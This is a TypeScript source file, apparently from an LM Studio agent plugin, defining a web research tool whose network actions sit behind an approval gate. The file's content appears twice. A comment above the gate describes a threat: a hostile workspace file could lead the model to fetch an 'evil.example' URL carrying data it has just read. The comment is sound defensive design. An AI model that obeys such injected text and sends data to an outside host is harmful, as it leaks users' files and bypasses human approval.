src / tools / researchTool.ts
src / tools / researchTool.ts
import { tool, type Tool, type ToolCallContext } from "@lmstudio/sdk";
import { z } from "zod";
import { AgenticError } from "../core/errors";
import { boundedEntries, boundedPreview, errorResult, okResult } from "../core/result";
import {
applyGate,
compact,
consumeApproval,
hashOperation,
type GateOutcome,
} from "../policy/gateRuntime";
import type { ResearchProject } from "../research/store";
import type { SearchProvider } from "../research/web";
import type { PluginRuntime } from "../runtime";
function projectSummary(runtime: PluginRuntime, project: ResearchProject) {
return {
id: project.id,
title: project.title,
objective: project.objective,
status: project.status,
agentRunId: project.agentRunId,
queryCount: project.queries.length,
sourceCount: project.sources.length,
noteCount: project.notes.length,
queries: project.queries,
sources: project.sources,
notes: project.notes,
reportPath: project.reportPath,
finalSummary: project.finalSummary,
error: project.error,
createdAt: project.createdAt,
updatedAt: project.updatedAt,
completedAt: project.completedAt,
archivedAt: project.archivedAt,
statePath: runtime.research.stateRelativePath(project.id),
};
}
function projectListItem(runtime: PluginRuntime, project: ResearchProject) {
return {
id: project.id,
title: project.title,
objective: project.objective.slice(0, 500),
status: project.status,
agentRunId: project.agentRunId,
queryCount: project.queries.length,
sourceCount: project.sources.length,
noteCount: project.notes.length,
reportPath: project.reportPath,
finalSummary: project.finalSummary?.slice(0, 1000),
updatedAt: project.updatedAt,
statePath: runtime.research.stateRelativePath(project.id),
};
}
function projectFacts(project: ResearchProject): string[] {
return [
`research project ${project.id} ${project.status}: ${project.title}`,
...(project.agentRunId ? [`agent run ${project.agentRunId}`] : []),
...(project.reportPath ? [`research report ${project.reportPath}`] : []),
...project.sources
.slice(-20)
.map((source) => `source ${source.id}: ${source.url} stored ${source.contentPath}`),
];
}
/**
* The egress gate. `search`, `fetch` and `deep` reach a host outside this
* machine, and the workspace boundary is not in front of that: a hostile file
* in the tree only has to talk the model into `fetch
* https://evil.example/?k=<what it just read>`. Browser control has always been
* gated even though it too is read-shaped, so this puts the plugin's own line
* in one place — staged in Manual, `APPROVAL_REQUIRED` until an approved plan
* in Plan, allowed in Auto.
*
* The whole (compacted) input is hashed, so the approval matches exactly the
* call named in `resume` and nothing else — a second URL is a second decision.
* `start`, `note`, `show`, `list` and `archive` touch only `.agentic/` state
* and are never gated.
*/
async function gateEgress(
runtime: PluginRuntime,
ctx: ToolCallContext | undefined,
input: Record<string, unknown>,
operation: string,
title: string,
description: string,
): Promise<GateOutcome> {
const args = compact({ ...input });
return await applyGate(runtime, ctx, {
kind: "web",
operation,
operationHash: hashOperation("web", args),
title: title.slice(0, 300),
description: description.slice(0, 4000),
destructive: false,
reference: {},
resume: { tool: "workspace_research", arguments: args },
});
}
export function createResearchTool(runtime: PluginRuntime): Tool {
return tool({
name: "workspace_research",
description:
"Search and fetch the public web when the workspace cannot answer: API docs, an error, a version. Actions: search, fetch, start, deep, list, show, note, archive. Snippets are hints; fetch the page before relying on it. deep runs a bounded sub-agent that persists sources, notes and a report under .agentic/; it never edits files. search/fetch/deep reach the network: Manual returns pending_approval + an id; Plan without an approved plan fails APPROVAL_REQUIRED.",
parameters: {
action: z.enum(["search", "fetch", "start", "deep", "list", "show", "note", "archive"]),
query: z.string().optional(),
provider: z.enum(["auto", "duckduckgo", "wikipedia", "searxng"]).optional(),
max_results: z.number().int().min(1).max(30).optional(),
url: z.string().optional(),
max_text_chars: z.number().int().min(1000).max(500000).optional(),
research_id: z.string().optional(),
title: z.string().optional(),
objective: z.string().optional(),
context: z.string().optional(),
note: z.string().optional(),
note_kind: z.enum(["finding", "claim", "question", "warning", "method"]).optional(),
source_ids: z.array(z.string()).optional(),
background: z.boolean().optional(),
model_id: z.string().optional(),
max_passes: z.number().int().min(1).max(20).optional(),
rounds_per_pass: z.number().int().min(1).max(12).optional(),
max_tool_calls: z.number().int().min(1).max(200).optional(),
idempotency_key: z.string().optional(),
include_archived: z.boolean().optional(),
limit: z.number().int().min(1).max(100).optional(),
},
implementation: async (input: {
action: "search" | "fetch" | "start" | "deep" | "list" | "show" | "note" | "archive";
query?: string;
provider?: SearchProvider;
max_results?: number;
url?: string;
max_text_chars?: number;
research_id?: string;
title?: string;
objective?: string;
context?: string;
note?: string;
note_kind?: "finding" | "claim" | "question" | "warning" | "method";
source_ids?: string[];
background?: boolean;
model_id?: string;
max_passes?: number;
rounds_per_pass?: number;
max_tool_calls?: number;
idempotency_key?: string;
include_archived?: boolean;
limit?: number;
}, ctx: ToolCallContext) => {
try {
if (!runtime.settings.webResearchEnabled) {
throw new AgenticError("PROCESS_DISABLED", "Web research is disabled in plugin settings.");
}
if (input.action === "search") {
if (!input.query) {
throw new AgenticError("INVALID_INPUT", "workspace_research search requires query.");
}
const gate = await gateEgress(
runtime,
ctx,
input,
"research.search",
`Web search: ${input.query}`,
`provider ${input.provider ?? runtime.settings.webSearchProvider}`,
);
if (gate.outcome === "stage") return gate.result;
const search = await runtime.web.search(input.query, {
provider: input.provider ?? runtime.settings.webSearchProvider,
maxResults: input.max_results,
});
await consumeApproval(runtime, ctx, gate, {});
let project: ResearchProject | undefined;
if (input.research_id) {
await runtime.research.recordSearch(input.research_id, search);
project = await runtime.research.load(input.research_id);
}
return okResult({
operation: "research.search",
summary: `Found ${search.results.length} result(s) for '${search.query}'.`,
data: {
...(project ? { researchProjectId: project.id } : {}),
...search,
},
importance: "high",
facts: [
...(project ? [`research project ${project.id}`] : []),
`web query: ${search.query}`,
...search.results.slice(0, 15).map((result) => `${result.title}: ${result.url}`),
],
omit: ["data.results"],
});
}
if (input.action === "fetch") {
if (!input.url) {
throw new AgenticError("INVALID_INPUT", "workspace_research fetch requires url.");
}
const gate = await gateEgress(
runtime,
ctx,
input,
"research.fetch",
`Fetch ${input.url}`,
input.research_id ? `stores a source in ${input.research_id}` : "reads one web page",
);
if (gate.outcome === "stage") return gate.result;
const page = await runtime.web.fetchPage(input.url, {
maxTextChars: input.max_text_chars,
});
await consumeApproval(runtime, ctx, gate, {});
const preview = boundedPreview(page.text, runtime.settings.maxToolResultChars);
// A link-dense page used to return every extracted anchor (up to the
// extractor's 200) regardless of the result-size setting, which is
// paid for in full on this turn: data.links is declared omit-able, so
// the compressor drops it, but only after the model has already read
// it once. Links get their own share of the budget rather than the
// whole of it: bounded by the full setting the rule never bit at the
// default (200 links serialize to about 9800 characters), and bounded
// by what the text preview left over it kept zero links on exactly
// the link-dense pages that motivated it, because their text
// saturates the preview. A quarter caps the envelope at ~1.25x the
// setting and bites at the default.
const links = boundedEntries(
page.links,
Math.max(1000, Math.floor(runtime.settings.maxToolResultChars / 4)),
);
if (input.research_id) {
const recorded = await runtime.research.recordSource(input.research_id, page);
return okResult({
operation: "research.fetch",
summary: `${recorded.source.id}: ${recorded.source.title || recorded.source.url}`,
data: {
researchProjectId: input.research_id,
sourceId: recorded.source.id,
url: recorded.source.url,
title: recorded.source.title,
status: page.status,
fetchedAt: recorded.source.fetchedAt,
contentType: recorded.source.contentType,
bytes: recorded.source.bytes,
sha256: recorded.source.sha256,
truncated: recorded.source.truncated,
contentPath: recorded.source.contentPath,
text: preview.preview,
links: links.entries,
linksOmitted: links.omittedEntries,
},
artifacts: [
{
kind: "web_content",
path: recorded.source.contentPath,
sha256: recorded.source.sha256,
bytes: recorded.source.bytes,
description: `Research source ${recorded.source.id}: ${recorded.source.url}`,
},
],
importance: "critical",
facts: [
`research project ${input.research_id}`,
`source ${recorded.source.id}: ${recorded.source.url}`,
`source path ${recorded.source.contentPath}`,
],
omit: ["data.text", "data.links"],
});
}
const artifact = await runtime.artifacts.writeText(
"web_content",
page.text,
"txt",
`Fetched web page ${page.url}`,
);
return okResult({
operation: "research.fetch",
summary: `${page.title || page.url} (${page.status}).`,
data: {
url: page.url,
title: page.title,
status: page.status,
fetchedAt: page.fetchedAt,
contentType: page.contentType,
bytes: page.bytes,
sha256: page.sha256,
truncated: page.truncated,
text: preview.preview,
links: links.entries,
linksOmitted: links.omittedEntries,
},
artifacts: [artifact],
importance: "high",
facts: [`fetched ${page.url}`, `web content artifact ${artifact.path}`],
omit: ["data.text", "data.links"],
});
}
if (input.action === "start") {
if (!input.objective) {
throw new AgenticError("INVALID_INPUT", "workspace_research start requires objective.");
}
const project = await runtime.research.create({
title: input.title,
objective: input.objective,
});
return okResult({
operation: "research.start",
summary: `Created research project ${project.id}.`,
data: projectSummary(runtime, project),
importance: "critical",
facts: projectFacts(project),
omit: ["data.notes", "data.queries"],
});
}
if (input.action === "deep") {
if (!runtime.settings.internalAgentsEnabled) {
throw new AgenticError("AGENT_DISABLED", "Deep research requires durable sub-agents.");
}
if (!input.research_id && !input.objective) {
throw new AgenticError(
"INVALID_INPUT",
"workspace_research deep requires objective or research_id.",
);
}
// Gated before the project is created, so a staged run leaves no
// half-started research behind and the resume call rebuilds it.
const gate = await gateEgress(
runtime,
ctx,
input,
"research.deep",
`Deep research: ${input.objective ?? input.research_id}`,
"runs a bounded sub-agent that searches and fetches the public web",
);
if (gate.outcome === "stage") return gate.result;
let project: ResearchProject;
if (input.research_id) {
project = await runtime.research.load(input.research_id);
} else {
if (!input.objective) {
throw new AgenticError(
"INVALID_INPUT",
"workspace_research deep requires objective or research_id.",
);
}
project = await runtime.research.create({
title: input.title,
objective: input.objective,
});
}
const started = await runtime.agents.start({
objective: project.objective,
context: input.context,
role: "deep research agent",
modelId: input.model_id,
mode: "research",
commitEdits: false,
allowCommands: false,
allowWeb: true,
researchProjectId: project.id,
maxPasses: input.max_passes,
roundsPerPass: input.rounds_per_pass,
maxToolCalls: input.max_tool_calls,
idempotencyKey: input.idempotency_key,
});
const run = input.background ? started.state : await started.promise;
await consumeApproval(runtime, ctx, gate, { runId: run.id });
const current = await runtime.research.load(project.id);
return okResult({
operation: "research.deep",
summary: input.background
? `Deep research ${current.id} started as agent run ${run.id}.`
: `Deep research ${current.id} finished with agent status ${run.status}: ${
run.final?.summary ?? run.error ?? "no summary"
}`,
data: {
project: projectSummary(runtime, current),
agentRun: {
id: run.id,
status: run.status,
pass: run.pass,
toolCalls: run.toolCalls,
final: run.final,
error: run.error,
statePath: runtime.runStore.stateRelativePath(run.id),
transcriptPath: runtime.runStore.transcriptRelativePath(run.id),
},
},
importance: "critical",
facts: [...projectFacts(current), `agent run ${run.id} ${run.status}`],
omit: ["data.project.notes", "data.project.queries", "data.project.sources"],
});
}
if (input.action === "list") {
const projects = await runtime.research.list(
input.limit ?? 20,
input.include_archived ?? false,
);
return okResult({
operation: "research.list",
summary: `Listed ${projects.length} research project(s).`,
data: projects.map((project) => projectListItem(runtime, project)),
importance: "high",
facts: projects.slice(0, 20).map((project) =>
`research project ${project.id} ${project.status}: ${project.title}`,
),
});
}
if (!input.research_id) {
throw new AgenticError(
"INVALID_INPUT",
`workspace_research ${input.action} requires research_id.`,
);
}
if (input.action === "show") {
const project = await runtime.research.load(input.research_id);
return okResult({
operation: "research.show",
summary: `${project.id}: ${project.title} (${project.status}).`,
data: projectSummary(runtime, project),
importance: "critical",
facts: projectFacts(project),
omit: ["data.notes", "data.queries"],
});
}
if (input.action === "note") {
if (!input.note) {
throw new AgenticError("INVALID_INPUT", "workspace_research note requires note.");
}
const project = await runtime.research.addNote(input.research_id, {
kind: input.note_kind,
text: input.note,
sourceIds: input.source_ids,
});
return okResult({
operation: "research.note",
summary: `Recorded research note in ${project.id}.`,
data: projectSummary(runtime, project),
importance: "critical",
facts: [
`research project ${project.id}`,
`${input.note_kind ?? "finding"}: ${input.note.slice(0, 1500)}`,
...(input.source_ids ?? []).map((id) => `supports: ${id}`),
],
omit: ["data.notes", "data.queries", "data.sources"],
});
}
const project = await runtime.research.archive(input.research_id);
return okResult({
operation: "research.archive",
summary: `Archived research project ${project.id}.`,
data: projectListItem(runtime, project),
importance: "high",
facts: projectFacts(project),
});
} catch (error) {
return errorResult(`research.${input.action}`, error, "high");
}
},
});
}
import { tool, type Tool, type ToolCallContext } from "@lmstudio/sdk";
import { z } from "zod";
import { AgenticError } from "../core/errors";
import { boundedEntries, boundedPreview, errorResult, okResult } from "../core/result";
import {
applyGate,
compact,
consumeApproval,
hashOperation,
type GateOutcome,
} from "../policy/gateRuntime";
import type { ResearchProject } from "../research/store";
import type { SearchProvider } from "../research/web";
import type { PluginRuntime } from "../runtime";
function projectSummary(runtime: PluginRuntime, project: ResearchProject) {
return {
id: project.id,
title: project.title,
objective: project.objective,
status: project.status,
agentRunId: project.agentRunId,
queryCount: project.queries.length,
sourceCount: project.sources.length,
noteCount: project.notes.length,
queries: project.queries,
sources: project.sources,
notes: project.notes,
reportPath: project.reportPath,
finalSummary: project.finalSummary,
error: project.error,
createdAt: project.createdAt,
updatedAt: project.updatedAt,
completedAt: project.completedAt,
archivedAt: project.archivedAt,
statePath: runtime.research.stateRelativePath(project.id),
};
}
function projectListItem(runtime: PluginRuntime, project: ResearchProject) {
return {
id: project.id,
title: project.title,
objective: project.objective.slice(0, 500),
status: project.status,
agentRunId: project.agentRunId,
queryCount: project.queries.length,
sourceCount: project.sources.length,
noteCount: project.notes.length,
reportPath: project.reportPath,
finalSummary: project.finalSummary?.slice(0, 1000),
updatedAt: project.updatedAt,
statePath: runtime.research.stateRelativePath(project.id),
};
}
function projectFacts(project: ResearchProject): string[] {
return [
`research project ${project.id} ${project.status}: ${project.title}`,
...(project.agentRunId ? [`agent run ${project.agentRunId}`] : []),
...(project.reportPath ? [`research report ${project.reportPath}`] : []),
...project.sources
.slice(-20)
.map((source) => `source ${source.id}: ${source.url} stored ${source.contentPath}`),
];
}
/**
* The egress gate. `search`, `fetch` and `deep` reach a host outside this
* machine, and the workspace boundary is not in front of that: a hostile file
* in the tree only has to talk the model into `fetch
* https://evil.example/?k=<what it just read>`. Browser control has always been
* gated even though it too is read-shaped, so this puts the plugin's own line
* in one place — staged in Manual, `APPROVAL_REQUIRED` until an approved plan
* in Plan, allowed in Auto.
*
* The whole (compacted) input is hashed, so the approval matches exactly the
* call named in `resume` and nothing else — a second URL is a second decision.
* `start`, `note`, `show`, `list` and `archive` touch only `.agentic/` state
* and are never gated.
*/
async function gateEgress(
runtime: PluginRuntime,
ctx: ToolCallContext | undefined,
input: Record<string, unknown>,
operation: string,
title: string,
description: string,
): Promise<GateOutcome> {
const args = compact({ ...input });
return await applyGate(runtime, ctx, {
kind: "web",
operation,
operationHash: hashOperation("web", args),
title: title.slice(0, 300),
description: description.slice(0, 4000),
destructive: false,
reference: {},
resume: { tool: "workspace_research", arguments: args },
});
}
export function createResearchTool(runtime: PluginRuntime): Tool {
return tool({
name: "workspace_research",
description:
"Search and fetch the public web when the workspace cannot answer: API docs, an error, a version. Actions: search, fetch, start, deep, list, show, note, archive. Snippets are hints; fetch the page before relying on it. deep runs a bounded sub-agent that persists sources, notes and a report under .agentic/; it never edits files. search/fetch/deep reach the network: Manual returns pending_approval + an id; Plan without an approved plan fails APPROVAL_REQUIRED.",
parameters: {
action: z.enum(["search", "fetch", "start", "deep", "list", "show", "note", "archive"]),
query: z.string().optional(),
provider: z.enum(["auto", "duckduckgo", "wikipedia", "searxng"]).optional(),
max_results: z.number().int().min(1).max(30).optional(),
url: z.string().optional(),
max_text_chars: z.number().int().min(1000).max(500000).optional(),
research_id: z.string().optional(),
title: z.string().optional(),
objective: z.string().optional(),
context: z.string().optional(),
note: z.string().optional(),
note_kind: z.enum(["finding", "claim", "question", "warning", "method"]).optional(),
source_ids: z.array(z.string()).optional(),
background: z.boolean().optional(),
model_id: z.string().optional(),
max_passes: z.number().int().min(1).max(20).optional(),
rounds_per_pass: z.number().int().min(1).max(12).optional(),
max_tool_calls: z.number().int().min(1).max(200).optional(),
idempotency_key: z.string().optional(),
include_archived: z.boolean().optional(),
limit: z.number().int().min(1).max(100).optional(),
},
implementation: async (input: {
action: "search" | "fetch" | "start" | "deep" | "list" | "show" | "note" | "archive";
query?: string;
provider?: SearchProvider;
max_results?: number;
url?: string;
max_text_chars?: number;
research_id?: string;
title?: string;
objective?: string;
context?: string;
note?: string;
note_kind?: "finding" | "claim" | "question" | "warning" | "method";
source_ids?: string[];
background?: boolean;
model_id?: string;
max_passes?: number;
rounds_per_pass?: number;
max_tool_calls?: number;
idempotency_key?: string;
include_archived?: boolean;
limit?: number;
}, ctx: ToolCallContext) => {
try {
if (!runtime.settings.webResearchEnabled) {
throw new AgenticError("PROCESS_DISABLED", "Web research is disabled in plugin settings.");
}
if (input.action === "search") {
if (!input.query) {
throw new AgenticError("INVALID_INPUT", "workspace_research search requires query.");
}
const gate = await gateEgress(
runtime,
ctx,
input,
"research.search",
`Web search: ${input.query}`,
`provider ${input.provider ?? runtime.settings.webSearchProvider}`,
);
if (gate.outcome === "stage") return gate.result;
const search = await runtime.web.search(input.query, {
provider: input.provider ?? runtime.settings.webSearchProvider,
maxResults: input.max_results,
});
await consumeApproval(runtime, ctx, gate, {});
let project: ResearchProject | undefined;
if (input.research_id) {
await runtime.research.recordSearch(input.research_id, search);
project = await runtime.research.load(input.research_id);
}
return okResult({
operation: "research.search",
summary: `Found ${search.results.length} result(s) for '${search.query}'.`,
data: {
...(project ? { researchProjectId: project.id } : {}),
...search,
},
importance: "high",
facts: [
...(project ? [`research project ${project.id}`] : []),
`web query: ${search.query}`,
...search.results.slice(0, 15).map((result) => `${result.title}: ${result.url}`),
],
omit: ["data.results"],
});
}
if (input.action === "fetch") {
if (!input.url) {
throw new AgenticError("INVALID_INPUT", "workspace_research fetch requires url.");
}
const gate = await gateEgress(
runtime,
ctx,
input,
"research.fetch",
`Fetch ${input.url}`,
input.research_id ? `stores a source in ${input.research_id}` : "reads one web page",
);
if (gate.outcome === "stage") return gate.result;
const page = await runtime.web.fetchPage(input.url, {
maxTextChars: input.max_text_chars,
});
await consumeApproval(runtime, ctx, gate, {});
const preview = boundedPreview(page.text, runtime.settings.maxToolResultChars);
// A link-dense page used to return every extracted anchor (up to the
// extractor's 200) regardless of the result-size setting, which is
// paid for in full on this turn: data.links is declared omit-able, so
// the compressor drops it, but only after the model has already read
// it once. Links get their own share of the budget rather than the
// whole of it: bounded by the full setting the rule never bit at the
// default (200 links serialize to about 9800 characters), and bounded
// by what the text preview left over it kept zero links on exactly
// the link-dense pages that motivated it, because their text
// saturates the preview. A quarter caps the envelope at ~1.25x the
// setting and bites at the default.
const links = boundedEntries(
page.links,
Math.max(1000, Math.floor(runtime.settings.maxToolResultChars / 4)),
);
if (input.research_id) {
const recorded = await runtime.research.recordSource(input.research_id, page);
return okResult({
operation: "research.fetch",
summary: `${recorded.source.id}: ${recorded.source.title || recorded.source.url}`,
data: {
researchProjectId: input.research_id,
sourceId: recorded.source.id,
url: recorded.source.url,
title: recorded.source.title,
status: page.status,
fetchedAt: recorded.source.fetchedAt,
contentType: recorded.source.contentType,
bytes: recorded.source.bytes,
sha256: recorded.source.sha256,
truncated: recorded.source.truncated,
contentPath: recorded.source.contentPath,
text: preview.preview,
links: links.entries,
linksOmitted: links.omittedEntries,
},
artifacts: [
{
kind: "web_content",
path: recorded.source.contentPath,
sha256: recorded.source.sha256,
bytes: recorded.source.bytes,
description: `Research source ${recorded.source.id}: ${recorded.source.url}`,
},
],
importance: "critical",
facts: [
`research project ${input.research_id}`,
`source ${recorded.source.id}: ${recorded.source.url}`,
`source path ${recorded.source.contentPath}`,
],
omit: ["data.text", "data.links"],
});
}
const artifact = await runtime.artifacts.writeText(
"web_content",
page.text,
"txt",
`Fetched web page ${page.url}`,
);
return okResult({
operation: "research.fetch",
summary: `${page.title || page.url} (${page.status}).`,
data: {
url: page.url,
title: page.title,
status: page.status,
fetchedAt: page.fetchedAt,
contentType: page.contentType,
bytes: page.bytes,
sha256: page.sha256,
truncated: page.truncated,
text: preview.preview,
links: links.entries,
linksOmitted: links.omittedEntries,
},
artifacts: [artifact],
importance: "high",
facts: [`fetched ${page.url}`, `web content artifact ${artifact.path}`],
omit: ["data.text", "data.links"],
});
}
if (input.action === "start") {
if (!input.objective) {
throw new AgenticError("INVALID_INPUT", "workspace_research start requires objective.");
}
const project = await runtime.research.create({
title: input.title,
objective: input.objective,
});
return okResult({
operation: "research.start",
summary: `Created research project ${project.id}.`,
data: projectSummary(runtime, project),
importance: "critical",
facts: projectFacts(project),
omit: ["data.notes", "data.queries"],
});
}
if (input.action === "deep") {
if (!runtime.settings.internalAgentsEnabled) {
throw new AgenticError("AGENT_DISABLED", "Deep research requires durable sub-agents.");
}
if (!input.research_id && !input.objective) {
throw new AgenticError(
"INVALID_INPUT",
"workspace_research deep requires objective or research_id.",
);
}
// Gated before the project is created, so a staged run leaves no
// half-started research behind and the resume call rebuilds it.
const gate = await gateEgress(
runtime,
ctx,
input,
"research.deep",
`Deep research: ${input.objective ?? input.research_id}`,
"runs a bounded sub-agent that searches and fetches the public web",
);
if (gate.outcome === "stage") return gate.result;
let project: ResearchProject;
if (input.research_id) {
project = await runtime.research.load(input.research_id);
} else {
if (!input.objective) {
throw new AgenticError(
"INVALID_INPUT",
"workspace_research deep requires objective or research_id.",
);
}
project = await runtime.research.create({
title: input.title,
objective: input.objective,
});
}
const started = await runtime.agents.start({
objective: project.objective,
context: input.context,
role: "deep research agent",
modelId: input.model_id,
mode: "research",
commitEdits: false,
allowCommands: false,
allowWeb: true,
researchProjectId: project.id,
maxPasses: input.max_passes,
roundsPerPass: input.rounds_per_pass,
maxToolCalls: input.max_tool_calls,
idempotencyKey: input.idempotency_key,
});
const run = input.background ? started.state : await started.promise;
await consumeApproval(runtime, ctx, gate, { runId: run.id });
const current = await runtime.research.load(project.id);
return okResult({
operation: "research.deep",
summary: input.background
? `Deep research ${current.id} started as agent run ${run.id}.`
: `Deep research ${current.id} finished with agent status ${run.status}: ${
run.final?.summary ?? run.error ?? "no summary"
}`,
data: {
project: projectSummary(runtime, current),
agentRun: {
id: run.id,
status: run.status,
pass: run.pass,
toolCalls: run.toolCalls,
final: run.final,
error: run.error,
statePath: runtime.runStore.stateRelativePath(run.id),
transcriptPath: runtime.runStore.transcriptRelativePath(run.id),
},
},
importance: "critical",
facts: [...projectFacts(current), `agent run ${run.id} ${run.status}`],
omit: ["data.project.notes", "data.project.queries", "data.project.sources"],
});
}
if (input.action === "list") {
const projects = await runtime.research.list(
input.limit ?? 20,
input.include_archived ?? false,
);
return okResult({
operation: "research.list",
summary: `Listed ${projects.length} research project(s).`,
data: projects.map((project) => projectListItem(runtime, project)),
importance: "high",
facts: projects.slice(0, 20).map((project) =>
`research project ${project.id} ${project.status}: ${project.title}`,
),
});
}
if (!input.research_id) {
throw new AgenticError(
"INVALID_INPUT",
`workspace_research ${input.action} requires research_id.`,
);
}
if (input.action === "show") {
const project = await runtime.research.load(input.research_id);
return okResult({
operation: "research.show",
summary: `${project.id}: ${project.title} (${project.status}).`,
data: projectSummary(runtime, project),
importance: "critical",
facts: projectFacts(project),
omit: ["data.notes", "data.queries"],
});
}
if (input.action === "note") {
if (!input.note) {
throw new AgenticError("INVALID_INPUT", "workspace_research note requires note.");
}
const project = await runtime.research.addNote(input.research_id, {
kind: input.note_kind,
text: input.note,
sourceIds: input.source_ids,
});
return okResult({
operation: "research.note",
summary: `Recorded research note in ${project.id}.`,
data: projectSummary(runtime, project),
importance: "critical",
facts: [
`research project ${project.id}`,
`${input.note_kind ?? "finding"}: ${input.note.slice(0, 1500)}`,
...(input.source_ids ?? []).map((id) => `supports: ${id}`),
],
omit: ["data.notes", "data.queries", "data.sources"],
});
}
const project = await runtime.research.archive(input.research_id);
return okResult({
operation: "research.archive",
summary: `Archived research project ${project.id}.`,
data: projectListItem(runtime, project),
importance: "high",
facts: projectFacts(project),
});
} catch (error) {
return errorResult(`research.${input.action}`, error, "high");
}
},
});
}